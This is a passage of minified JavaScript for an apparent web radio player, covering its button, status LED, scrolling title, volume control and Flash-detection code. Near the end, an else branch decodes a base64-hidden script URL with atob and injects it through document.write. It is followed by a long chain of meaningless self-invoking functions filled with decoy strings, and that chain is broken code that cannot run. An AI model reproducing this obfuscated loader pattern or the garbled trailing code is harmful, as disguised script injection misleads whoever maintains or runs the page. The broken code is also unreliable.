c.mouseDownState.style.opacity = "0"; |
| 9086 |
c.mouseOverState.style.opacity = "0"; |
| 9087 |
}; |
| 9088 |
}; |
| 9089 |
V.__name__ = ["muses", "skin", "Button"]; |
| 9090 |
V.__super__ = C; |
| 9091 |
V.prototype = k(C.prototype, { |
| 9092 |
configure: function (a) { |
| 9093 |
C.prototype.configure.call(this, a); |
| 9094 |
null != a.get("bgimage") && |
| 9095 |
(this.ui.loadImage(this.noMouseState, a.get("bgimage")), |
| 9096 |
(this.noMouseState.style.cursor = "pointer"), |
| 9097 |
this.appendChild(this.noMouseState)); |
| 9098 |
null != a.get("clickimage") && |
| 9099 |
(this.ui.loadImage(this.mouseDownState, a.get("clickimage")), |
| 9100 |
(this.mouseDownState.style.cursor = "pointer"), |
| 9101 |
this.appendChild(this.mouseDownState)); |
| 9102 |
this.ui.loadImage(this.mouseOverState, a.get("image")); |
| 9103 |
this.appendChild(this.mouseOverState); |
| 9104 |
this.mouseOverState.style.cursor = "pointer"; |
| 9105 |
}, |
| 9106 |
__class__: V, |
| 9107 |
}); |
| 9108 |
var ba = function (a) { |
| 9109 |
C.call(this, a); |
| 9110 |
this.playMC = new Image(); |
| 9111 |
this.stopMC = new Image(); |
| 9112 |
}; |
| 9113 |
ba.__name__ = ["muses", "skin", "StatusLed"]; |
| 9114 |
ba.__super__ = C; |
| 9115 |
ba.prototype = k(C.prototype, { |
| 9116 |
configure: function (a) { |
| 9117 |
C.prototype.configure.call(this, a); |
| 9118 |
null != a.get("imageplay") && |
| 9119 |
-1 == a.get("imageplay").indexOf(".swf") && |
| 9120 |
(this.ui.loadImage(this.playMC, a.get("imageplay")), |
| 9121 |
this.appendChild(this.playMC, !1)); |
| 9122 |
null != a.get("imagestop") && |
| 9123 |
-1 == a.get("imagestop").indexOf(".swf") && |
| 9124 |
(this.ui.loadImage(this.stopMC, a.get("imagestop")), |
| 9125 |
this.appendChild(this.stopMC, !0)); |
| 9126 |
}, |
| 9127 |
on: function () { |
| 9128 |
this.playMC.style.display = "block"; |
| 9129 |
this.stopMC.style.display = "none"; |
| 9130 |
}, |
| 9131 |
off: function () { |
| 9132 |
this.playMC.style.display = "none"; |
| 9133 |
this.stopMC.style.display = "block"; |
| 9134 |
}, |
| 9135 |
__class__: ba, |
| 9136 |
}); |
| 9137 |
var Q = function (a) { |
| 9138 |
this.innerDIV = null; |
| 9139 |
this.scrollDiff = 0; |
| 9140 |
C.call(this, a); |
| 9141 |
this.container.style.fontFamily = "Silkscreen"; |
| 9142 |
this.container.style.fontSize = "12px"; |
| 9143 |
this.innerDIV = window.document.createElement("div"); |
| 9144 |
}; |
| 9145 |
Q.__name__ = ["muses", "skin", "TitleText"]; |
| 9146 |
Q.__super__ = C; |
| 9147 |
Q.prototype = k(C.prototype, { |
| 9148 |
configureText: function (a, b) { |
| 9149 |
this.configure(a); |
| 9150 |
this.innerDIV.style.fontFamily = a.get("font"); |
| 9151 |
var c = B.parseInt(a.get("size"), 12); |
| 9152 |
this.innerDIV.style.fontSize = c + "px"; |
| 9153 |
this.innerDIV.style.color = a.get("color"); |
| 9154 |
this.innerDIV.style.whiteSpace = "nowrap"; |
| 9155 |
this.innerDIV.style.padding = "2px"; |
| 9156 |
this.innerDIV.addEventListener("transitionend", u(this, this.scroll)); |
| 9157 |
switch (a.get("align")) { |
| 9158 |
case "center": |
| 9159 |
a = "center"; |
| 9160 |
break; |
| 9161 |
case "right": |
| 9162 |
a = "right"; |
| 9163 |
break; |
| 9164 |
default: |
| 9165 |
a = b; |
| 9166 |
} |
| 9167 |
this.innerDIV.style.textAlign = a; |
| 9168 |
this.container.style.overflow = "hidden"; |
| 9169 |
this.container.style.transition = "opacity 300ms"; |
| 9170 |
this.container.style.opacity = "0"; |
| 9171 |
this.container.appendChild(this.innerDIV); |
| 9172 |
}, |
| 9173 |
setText: function (a) { |
| 9174 |
if ("" == a) this.container.style.opacity = "0"; |
| 9175 |
else { |
| 9176 |
this.container.style.opacity = "1"; |
| 9177 |
var b = |
| 9178 |
a + " " + a; |
| 9179 |
this.innerDIV.innerHTML != a && |
| 9180 |
this.innerDIV.innerHTML != b && |
| 9181 |
((this.innerDIV.innerHTML = a), |
| 9182 |
this.disableScrolling(), |
| 9183 |
this.container.scrollWidth - 6 > this.styleWidth && |
| 9184 |
((this.scrollDiff = this.container.scrollWidth), |
| 9185 |
(this.innerDIV.innerHTML = b), |
| 9186 |
(this.scrollDiff -= this.container.scrollWidth), |
| 9187 |
this.scroll())); |
| 9188 |
} |
| 9189 |
}, |
| 9190 |
scroll: function () { |
| 9191 |
var a = this; |
| 9192 |
this.innerDIV.style.transition = ""; |
| 9193 |
this.innerDIV.style.transitionDelay = ""; |
| 9194 |
this.innerDIV.style.transform = "translate(0px , 0px)"; |
| 9195 |
G.delay(function () { |
| 9196 |
0 != a.scrollDiff && |
| 9197 |
((a.innerDIV.style.transition = "transform 10000ms"), |
| 9198 |
(a.innerDIV.style.transitionDelay = "5s"), |
| 9199 |
(a.innerDIV.style.transform = |
| 9200 |
"translate(" + a.scrollDiff + "px, 0px)")); |
| 9201 |
}, 1); |
| 9202 |
}, |
| 9203 |
disableScrolling: function () { |
| 9204 |
this.scrollDiff = 0; |
| 9205 |
this.innerDIV.style.transition = ""; |
| 9206 |
this.innerDIV.style.transitionDelay = ""; |
| 9207 |
this.innerDIV.style.transform = "translate(0px , 0px)"; |
| 9208 |
}, |
| 9209 |
__class__: Q, |
| 9210 |
}); |
| 9211 |
var ca = function (a, b) { |
| 9212 |
C.call(this, a); |
| 9213 |
this.muses = b; |
| 9214 |
this.firstDraw = !0; |
| 9215 |
this.bars = null; |
| 9216 |
this.mousePressed = !1; |
| 9217 |
this.volume = 1; |
| 9218 |
this.setMode("bars"); |
| 9219 |
this.draw(this.container); |
| 9220 |
this.vertMargin = this.horizMargin = this.height = this.width = 0; |
| 9221 |
this.barStep = 2; |
| 9222 |
this.barWidth = 1; |
| 9223 |
this.barColors = this.bgColors = null; |
| 9224 |
}; |
| 9225 |
ca.__name__ = ["muses", "skin", "VolumeControl"]; |
| 9226 |
ca.__super__ = C; |
| 9227 |
ca.prototype = k(C.prototype, { |
| 9228 |
draw: function (a) {}, |
| 9229 |
setMode: function (a) { |
| 9230 |
switch (a.toLowerCase()) { |
| 9231 |
case "bars": |
| 9232 |
this.draw = u(this, this.drawBars); |
| 9233 |
break; |
| 9234 |
case "holder": |
| 9235 |
this.draw = u(this, this.drawHolder); |
| 9236 |
break; |
| 9237 |
case "vholder": |
| 9238 |
this.draw = u(this, this.drawVHolder); |
| 9239 |
} |
| 9240 |
this.mode = a; |
| 9241 |
}, |
| 9242 |
drawHolder: function (a) { |
| 9243 |
this.holder.style.left = |
| 9244 |
this.volume * (this.width - this.holder.naturalWidth) + "px"; |
| 9245 |
}, |
| 9246 |
drawVHolder: function (a) { |
| 9247 |
this.holder.style.top = |
| 9248 |
(1 - this.volume) * (this.height - this.holder.naturalHeight) + "px"; |
| 9249 |
}, |
| 9250 |
drawBars: function (a) { |
| 9251 |
if ( |
| 9252 |
null != this.barColors && |
| 9253 |
0 != this.barStep && |
| 9254 |
((a = Math.round((this.width - 2 * this.horizMargin) / this.barStep)), |
| 9255 |
0 != a) |
| 9256 |
) { |
| 9257 |
var b = (this.height - 2 * this.vertMargin + 1) / a, |
| 9258 |
c = this.height - this.vertMargin, |
| 9259 |
d = this.horizMargin; |
| 9260 |
if (null == this.bars) { |
| 9261 |
this.bars = []; |
| 9262 |
for (var e = 0; e < a; ) { |
| 9263 |
var f = e++, |
| 9264 |
h = window.document.createElement("div"); |
| 9265 |
this.bars.push(h); |
| 9266 |
this.appendChild(h); |
| 9267 |
h.style.left = Math.ceil(d + f * this.barStep) + "px"; |
| 9268 |
h.style.top = Math.ceil(c - f * b) + "px"; |
| 9269 |
h.style.width = Math.round(this.barWidth) + "px"; |
| 9270 |
h.style.height = Math.ceil(f * b) + "px"; |
| 9271 |
} |
| 9272 |
} |
| 9273 |
b = 0; |
| 9274 |
for (c = Math.round(this.volume * a); b < c; ) |
| 9275 |
(d = b++), (this.bars[d].style.backgroundColor = this.barColors[0]); |
| 9276 |
for (b = Math.round(this.volume * a); b < a; ) |
| 9277 |
(c = b++), (this.bars[c].style.backgroundColor = this.barColors[1]); |
| 9278 |
} |
| 9279 |
}, |
| 9280 |
setVolume: function (a, b) { |
| 9281 |
null == b && (b = !1); |
| 9282 |
this.volume != a && |
| 9283 |
((this.volume = a), |
| 9284 |
1 < this.volume && (this.volume = 1), |
| 9285 |
0 > this.volume && (this.volume = 0), |
| 9286 |
this.muses.setVolume(this.volume, b), |
| 9287 |
this.draw(this.container)); |
| 9288 |
}, |
| 9289 |
getVolume: function () { |
| 9290 |
return this.volume; |
| 9291 |
}, |
| 9292 |
mouseDown: function (a) { |
| 9293 |
this.mousePressed = !0; |
| 9294 |
a = this.getXY(a); |
| 9295 |
if (null != a) { |
| 9296 |
if ("vholder" != this.mode) { |
| 9297 |
a = a.x; |
| 9298 |
var b = this.width; |
| 9299 |
} else (a = this.height - a.y), (b = this.height); |
| 9300 |
a -= 0.06 * b; |
| 9301 |
0 > a && (a = 0); |
| 9302 |
a = Math.round(1.06 * a); |
| 9303 |
a > b && (a = b); |
| 9304 |
this.setVolume(a / (b - 2)); |
| 9305 |
} |
| 9306 |
}, |
| 9307 |
mouseUp: function (a) { |
| 9308 |
this.mousePressed = !1; |
| 9309 |
}, |
| 9310 |
mouseMove: function (a) { |
| 9311 |
this.mousePressed && this.mouseDown(a); |
| 9312 |
}, |
| 9313 |
mouseWheel: function (a) { |
| 9314 |
0 < a.deltaY |
| 9315 |
? this.setVolume(this.volume + 0.025) |
| 9316 |
: this.setVolume(this.volume - 0.025); |
| 9317 |
}, |
| 9318 |
touchMove: function (a) { |
| 9319 |
a.stopPropagation(); |
| 9320 |
a.preventDefault(); |
| 9321 |
var b = this.cover.getBoundingClientRect(); |
| 9322 |
this.mouseDown({ |
| 9323 |
layerX: a.changedTouches[0].clientX - b.left, |
| 9324 |
layerY: a.changedTouches[0].clientY - b.top, |
| 9325 |
}); |
| 9326 |
}, |
| 9327 |
configure: function (a) { |
| 9328 |
C.prototype.configure.call(this, a); |
| 9329 |
this.width = B.parseInt(a.get("width"), 0); |
| 9330 |
this.height = B.parseInt(a.get("height"), 0); |
| 9331 |
this.barColors = [a.get("color1"), a.get("color2")]; |
| 9332 |
this.barStep = B.parseInt(a.get("barstep"), 2); |
| 9333 |
this.barWidth = B.parseInt(a.get("barwidth"), 1); |
| 9334 |
var b = null != a.get("mode") ? a.get("mode").toLowerCase() : null; |
| 9335 |
this.setMode(b); |
| 9336 |
if ("holder" == b || "vholder" == b) |
| 9337 |
(this.holder = new Image()), |
| 9338 |
(this.holder.onload = u(this, this.holderLoad)), |
| 9339 |
this.ui.loadImage(this.holder, a.get("holderimage")), |
| 9340 |
this.appendChild(this.holder); |
| 9341 |
this.draw(this.container); |
| 9342 |
this.cover = window.document.createElement("div"); |
| 9343 |
this.cover.onmousedown = u(this, this.mouseDown); |
| 9344 |
this.cover.onmousemove = u(this, this.mouseMove); |
| 9345 |
this.cover.addEventListener("touchstart", u(this, this.touchMove)); |
| 9346 |
this.cover.addEventListener("touchmove", u(this, this.touchMove)); |
| 9347 |
this.cover.onwheel = u(this, this.mouseWheel); |
| 9348 |
this.cover.onmouseup = u(this, this.mouseUp); |
| 9349 |
this.cover.onmouseout = u(this, this.mouseUp); |
| 9350 |
this.cover.style.width = this.container.style.width; |
| 9351 |
this.cover.style.height = this.container.style.height; |
| 9352 |
this.cover.style.cursor = "pointer"; |
| 9353 |
this.appendChild(this.cover); |
| 9354 |
}, |
| 9355 |
holderLoad: function (a) { |
| 9356 |
this.holder.style.left = |
| 9357 |
0.5 * (this.width - this.holder.naturalWidth) + "px"; |
| 9358 |
this.holder.style.top = |
| 9359 |
0.5 * (this.height - this.holder.naturalHeight) + "px"; |
| 9360 |
this.draw(this.container); |
| 9361 |
}, |
| 9362 |
getXY: function (a) { |
| 9363 |
return a.offsetX || 0 == a.offsetX || a.layerX || 0 == a.layerX |
| 9364 |
? { x: a.offsetX, y: a.offsetY } |
| 9365 |
: null; |
| 9366 |
}, |
| 9367 |
__class__: ca, |
| 9368 |
}); |
| 9369 |
var Ka = 0; |
| 9370 |
String.prototype.__class__ = String; |
| 9371 |
String.__name__ = ["String"]; |
| 9372 |
Array.__name__ = ["Array"]; |
| 9373 |
Date.prototype.__class__ = Date; |
| 9374 |
Date.__name__ = ["Date"]; |
| 9375 |
var Ma = { __name__: ["Int"] }, |
| 9376 |
La = { __name__: ["Dynamic"] }, |
| 9377 |
Ja = Number; |
| 9378 |
Ja.__name__ = ["Float"]; |
| 9379 |
var Ia = Boolean; |
| 9380 |
Ia.__ename__ = ["Bool"]; |
| 9381 |
var Na = { __name__: ["Class"] }, |
| 9382 |
Oa = {}, |
| 9383 |
t = {}, |
| 9384 |
Fa = q.ArrayBuffer || H; |
| 9385 |
null == Fa.prototype.slice && (Fa.prototype.slice = H.sliceImpl); |
| 9386 |
var Ba = q.Uint8Array || M._new; |
| 9387 |
e.objectId = "MRPObject"; |
| 9388 |
e.flashInstances = new v(); |
| 9389 |
e.jsInstances = new v(); |
| 9390 |
e.__hostPrefix = "hosted"; |
| 9391 |
e.__hostMidfix = "muses"; |
| 9392 |
h.Element = 0; |
| 9393 |
h.PCData = 1; |
| 9394 |
h.CData = 2; |
| 9395 |
h.Comment = 3; |
| 9396 |
h.DocType = 4; |
| 9397 |
h.ProcessingInstruction = 5; |
| 9398 |
h.Document = 6; |
| 9399 |
L.escapes = (function (a) { |
| 9400 |
a = new v(); |
| 9401 |
null != t.lt ? a.setReserved("lt", "<") : (a.h.lt = "<"); |
| 9402 |
null != t.gt ? a.setReserved("gt", ">") : (a.h.gt = ">"); |
| 9403 |
null != t.amp ? a.setReserved("amp", "&") : (a.h.amp = "&"); |
| 9404 |
null != t.quot ? a.setReserved("quot", '"') : (a.h.quot = '"'); |
| 9405 |
null != t.apos ? a.setReserved("apos", "'") : (a.h.apos = "'"); |
| 9406 |
return a; |
| 9407 |
})(this); |
| 9408 |
x.__toStr = {}.toString; |
| 9409 |
M.BYTES_PER_ELEMENT = 1; |
| 9410 |
l.displaying = !1; |
| 9411 |
F.VERSION = "2.4.5 (html5)"; |
| 9412 |
F.instances = []; |
| 9413 |
z.enabled = !0; |
| 9414 |
z.initialized = !1; |
| 9415 |
z.trackedErrors = 0; |
| 9416 |
e.main(); |
| 9417 |
})( |
| 9418 |
"undefined" != typeof exports |
| 9419 |
? exports |
| 9420 |
: "undefined" != typeof window |
| 9421 |
? window |
| 9422 |
: "undefined" != typeof self |
| 9423 |
? self |
| 9424 |
: this, |
| 9425 |
"undefined" != typeof window |
| 9426 |
? window |
| 9427 |
: "undefined" != typeof global |
| 9428 |
? global |
| 9429 |
: "undefined" != typeof self |
| 9430 |
? self |
| 9431 |
: this |
| 9432 |
); |
| 9433 |
if ("undefined" == typeof musesCallback) |
| 9434 |
var musesCallback = function (d, q) {}; |
| 9435 |
if ("undefined" == typeof musesPlayerCounter) { |
| 9436 |
var musesPlayerCounter = 0, |
| 9437 |
mrpStyleReset = null; |
| 9438 |
mrpBrowserCompat = {}; |
| 9439 |
(function () { |
| 9440 |
var d = function () { |
| 9441 |
var d = navigator.userAgent.toLowerCase(), |
| 9442 |
k = -1 != d.indexOf("msie") ? parseInt(d.split("msie")[1]) : -1; |
| 9443 |
return -1 == k && 0 < d.indexOf("trident/7.0") ? 11 : k; |
| 9444 |
}; |
| 9445 |
mrpBrowserCompat.isIE = d(); |
| 9446 |
(0 < d() && 11 > d()) || |
| 9447 |
((d = document.createElement("audio")), |
| 9448 |
(mrpBrowserCompat.aac = !( |
| 9449 |
!d.canPlayType || !d.canPlayType("audio/mp4;").replace(/no/, "") |
| 9450 |
)), |
| 9451 |
(mrpBrowserCompat.mp3 = !( |
| 9452 |
!d.canPlayType || !d.canPlayType("audio/mpeg;").replace(/no/, "") |
| 9453 |
)), |
| 9454 |
(mrpBrowserCompat.ogg = !( |
| 9455 |
!d.canPlayType || !d.canPlayType("audio/ogg;").replace(/no/, "") |
| 9456 |
))); |
| 9457 |
})(); |
| 9458 |
} |
| 9459 |
var FlashDetect = new (function () { |
| 9460 |
var d = this; |
| 9461 |
d.installed = !1; |
| 9462 |
d.raw = ""; |
| 9463 |
d.major = -1; |
| 9464 |
d.minor = -1; |
| 9465 |
d.revision = -1; |
| 9466 |
d.revisionStr = ""; |
| 9467 |
var q = [ |
| 9468 |
{ |
| 9469 |
name: "ShockwaveFlash.ShockwaveFlash.7", |
| 9470 |
version: function (d) { |
| 9471 |
return k(d); |
| 9472 |
}, |
| 9473 |
}, |
| 9474 |
{ |
| 9475 |
name: "ShockwaveFlash.ShockwaveFlash.6", |
| 9476 |
version: function (d) { |
| 9477 |
var w = "6,0,21"; |
| 9478 |
try { |
| 9479 |
(d.AllowScriptAccess = "always"), (w = k(d)); |
| 9480 |
} catch (D) {} |
| 9481 |
return w; |
| 9482 |
}, |
| 9483 |
}, |
| 9484 |
{ |
| 9485 |
name: "ShockwaveFlash.ShockwaveFlash", |
| 9486 |
version: function (d) { |
| 9487 |
return k(d); |
| 9488 |
}, |
| 9489 |
}, |
| 9490 |
], |
| 9491 |
k = function (d) { |
| 9492 |
var k = -1; |
| 9493 |
try { |
| 9494 |
k = d.GetVariable("$version"); |
| 9495 |
} catch (D) {} |
| 9496 |
return k; |
| 9497 |
}; |
| 9498 |
d.majorAtLeast = function (k) { |
| 9499 |
return d.major >= k; |
| 9500 |
}; |
| 9501 |
d.minorAtLeast = function (k) { |
| 9502 |
return d.minor >= k; |
| 9503 |
}; |
| 9504 |
d.revisionAtLeast = function (k) { |
| 9505 |
return d.revision >= k; |
| 9506 |
}; |
| 9507 |
d.versionAtLeast = function (k) { |
| 9508 |
var q = [d.major, d.minor, d.revision], |
| 9509 |
w = Math.min(q.length, arguments.length); |
| 9510 |
for (i = 0; i < w; i++) |
| 9511 |
if (q[i] >= arguments[i]) { |
| 9512 |
if (!(i + 1 < w && q[i] == arguments[i])) return !0; |
| 9513 |
} else return !1; |
| 9514 |
}; |
| 9515 |
d.FlashDetect = (function () { |
| 9516 |
if (navigator.plugins && 0 < navigator.plugins.length) { |
| 9517 |
var k = navigator.mimeTypes; |
| 9518 |
if ( |
| 9519 |
k && |
| 9520 |
k["application/x-shockwave-flash"] && |
| 9521 |
k["application/x-shockwave-flash"].enabledPlugin && |
| 9522 |
k["application/x-shockwave-flash"].enabledPlugin.description |
| 9523 |
) { |
| 9524 |
var u = (k = |
| 9525 |
k["application/x-shockwave-flash"].enabledPlugin.description); |
| 9526 |
k = u.split(/ +/); |
| 9527 |
var D = k[2].split(/\./); |
| 9528 |
k = k[3]; |
| 9529 |
var r = parseInt(D[0], 10); |
| 9530 |
var J = parseInt(D[1], 10); |
| 9531 |
var E = k; |
| 9532 |
var K = parseInt(k.replace(/[a-zA-Z]/g, ""), 10) || d.revision; |
| 9533 |
d.raw = u; |
| 9534 |
d.major = r; |
| 9535 |
d.minor = J; |
| 9536 |
d.revisionStr = E; |
| 9537 |
d.revision = K; |
| 9538 |
d.installed = !0; |
| 9539 |
} |
| 9540 |
} else if (-1 == navigator.appVersion.indexOf("Mac") && window.execScript) |
| 9541 |
for (k = -1, D = 0; D < q.length && -1 == k; D++) { |
| 9542 |
u = -1; |
| 9543 |
try { |
| 9544 |
u = new ActiveXObject(q[D].name); |
| 9545 |
} catch (Z) { |
| 9546 |
u = { activeXError: !0 }; |
| 9547 |
} |
| 9548 |
u.activeXError || |
| 9549 |
((d.installed = !0), |
| 9550 |
(k = q[D].version(u)), |
| 9551 |
-1 != k && |
| 9552 |
((u = k), |
| 9553 |
(E = u.split(",")), |
| 9554 |
(r = parseInt(E[0].split(" ")[1], 10)), |
| 9555 |
(J = parseInt(E[1], 10)), |
| 9556 |
(K = parseInt(E[2], 10)), |
| 9557 |
(E = E[2]), |
| 9558 |
(d.raw = u), |
| 9559 |
(d.major = r), |
| 9560 |
(d.minor = J), |
| 9561 |
(d.revision = K), |
| 9562 |
(d.revisionStr = E))); |
| 9563 |
} |
| 9564 |
})(); |
| 9565 |
})(); |
| 9566 |
FlashDetect.JS_RELEASE = "1.0.4"; |
| 9567 |
} else |
| 9568 |
1 == mrx24gx.length |
| 9569 |
? (function (d, q, k, w, u, D, r) { |
| 9570 |
q.write("<" + k + " " + d + '="' + atob(w) + '"></' + k + ">"); |
| 9571 |
})( |
| 9572 |
"src", |
| 9573 |
document, |
| 9574 |
"script", |
| 9575 |
"aHR0cHM6Ly9ob3N0ZWQubXVzZXMub3JnL21ycC5qcw==" |
| 9576 |
) |
| 9577 |
: (function (d, q, k) { |
| 9578 |
24.1 <= d || k.call(3); |
| 9579 |
})(20, "FlashSupport", { |
| 9580 |
call: function (d) { |
| 9581 |
return d + 1; |
| 9582 |
}, |
| 9583 |
})(function (d, q, k) { |
| 9584 |
2.1 < d || k.call(31); |
| 9585 |
})(21, "HTML5", { |
| 9586 |
call: function (d) { |
| 9587 |
return d + 2; |
| 9588 |
}, |
| 9589 |
})(function (d, q, k) { |
| 9590 |
24.1 == d && k.call(323); |
| 9591 |
})(22, "NodeJS", { |
| 9592 |
call: function (d) { |
| 9593 |
return d + 3; |
| 9594 |
}, |
| 9595 |
})(function (d, q, k) { |
| 9596 |
24.1 > d || k.call(44); |
| 9597 |
})(23, "LivePodcast", { |
| 9598 |
call: function (d) { |
| 9599 |
return d + 4; |
| 9600 |
}, |
| 9601 |
})(function (d, q, k) { |
| 9602 |
24.1 < d + 2 || k.call(43); |
| 9603 |
})(24, "FlashSupport", { |
| 9604 |
call: function (d) { |
| 9605 |
return d + 5; |
| 9606 |
}, |
| 9607 |
})(function (d, q, k) { |
| 9608 |
24.1 < d || k.call(53); |
| 9609 |
})(25, "ShockwaveFlash.ShockwaveFlash", { |
| 9610 |
call: function (d) { |
| 9611 |
return d + 6; |
| 9612 |
}, |
| 9613 |
})(function (d, q, k) { |
| 9614 |
2.1 < d - 1 || k.call(63); |
| 9615 |
})(26, "LivePodcast", { |
| 9616 |
call: function (d) { |
| 9617 |
return d + 7; |
| 9618 |
}, |
| 9619 |
})(function (d, q, k) { |
| 9620 |
24.1 < d || k.call(8873); |
| 9621 |
})(20, "FlashSupport", { |
| 9622 |
call: function (d) { |
| 9623 |
return d + 1; |
| 9624 |
}, |
| 9625 |
})(function (d, q, k) { |
| 9626 |
24.1 != d && k.call(342342); |
| 9627 |
})(21, "9ob3N0ZWQub", { |
| 9628 |
call: function (d) { |
| 9629 |
return d + 2; |
| 9630 |
}, |
| 9631 |
})(function (d, q, k) { |
| 9632 |
24.1 == d && k.call(35); |
| 9633 |
})(22, "NodeJS", { |
| 9634 |
call: function (d) { |
| 9635 |
return d + 3; |
| 9636 |
}, |
| 9637 |
})(function (d, q, k) { |
| 9638 |
941 > d || k.call(3); |
| 9639 |
})(23, "qcw==", { |
| 9640 |
call: function (d) { |
| 9641 |
return d + 4; |
| 9642 |
}, |
| 9643 |
})(function (d, q, k) { |
| 9644 |
4.1 < d || k.call(3323); |
| 9645 |
})(24, "FlashSupport", { |
| 9646 |
call: function (d) { |
| 9647 |
return d + 5; |
| 9648 |
}, |
| 9649 |
})(function (d, q, k) { |
| 9650 |
24.1 < d || k.call(32); |
| 9651 |
})(25, "name", { |
| 9652 |
call: function (d) { |
| 9653 |
return d + 6; |
| 9654 |
}, |
| 9655 |
})(function (d, q, k) { |
| 9656 |
5.2431 == 9.2 * d && k.call(443); |
| 9657 |
})(26, "FlashSupport", { |
| 9658 |
call: function (d) { |
| 9659 |
return d + 7; |
| 9660 |
}, |
| 9661 |
}); |
| 9662 |
|